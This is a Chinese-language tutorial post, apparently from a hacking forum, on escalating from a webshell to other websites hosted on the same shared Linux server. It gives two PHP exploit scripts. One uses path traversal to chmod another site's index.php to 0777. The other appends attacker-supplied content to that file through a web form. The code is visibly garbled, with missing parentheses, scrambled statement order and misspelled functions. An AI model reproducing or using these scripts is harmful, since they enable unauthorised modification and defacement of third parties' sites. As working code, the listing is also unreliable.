当我拥有了一个 linux 下的 shell 服务器上多个网站。
甚至能查看其他网站的目录。 这个 shell 对所在站点的根目录有可写入权限。
这样的主机设置肯定是不安全的 那么。
想对获得同 服务器的其他站的权限,有的时候。比如直接对其他站点的 index.php 进行修改,却发现没有权限。
可以尝试通过以下脚本来实现对其他站点的文件添加权限。
代码:
<?php
$path = stripslash $_GET['path'] ;
0777 ; $ok = chmod $path .
if $ok == true
Permiss edit file or directory. Permiss to write"; echo " CHMOD OK .
?>
保管为 chmod.PHP
访问 使用方法简单。
http://site/chmod.php?path=../../ 其他站点的目录 /index.php
这里的 index.PHP 要修改权限的文件。
另外一个 exploit
把下面的代码保管为 exploit.PHP
代码:
<?php
@$filenam = stripslash $_POST['filename'] ;
@$mess = stripslash $_POST['mess'] ;
'a' ; $fp = @fopen "{$_POST['filename']}".
"$mess <hr size="1" color="black">" ; @fput $fp.
@fclose $fp ;
?>
<form name="form1" action="exploit.php" method="post">
<p align="center"><b>
<br>
CODE :<br>
<textarea name="mess" rows="3"></textarea></font></b></textarea>
</font></b> <p><input type="hidden" name="filename" value="../../A UPE WEBSITE SUR LE MULTIHOSTING/index.php"></p>
<center>
<input type="reset" name="Submit" value="Delete">
<input name="go" type="submit" value="Send" onClick="javascript:this.style.vis ='hidden';">
<center>
</form>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Chang CHMOD Permiss Exploit - Contact : the_gl4di4t0r[A T]hotmail[DOT]com</title>
</head>
<body>
</center> 从手机浏览器访问《生活宝典》 |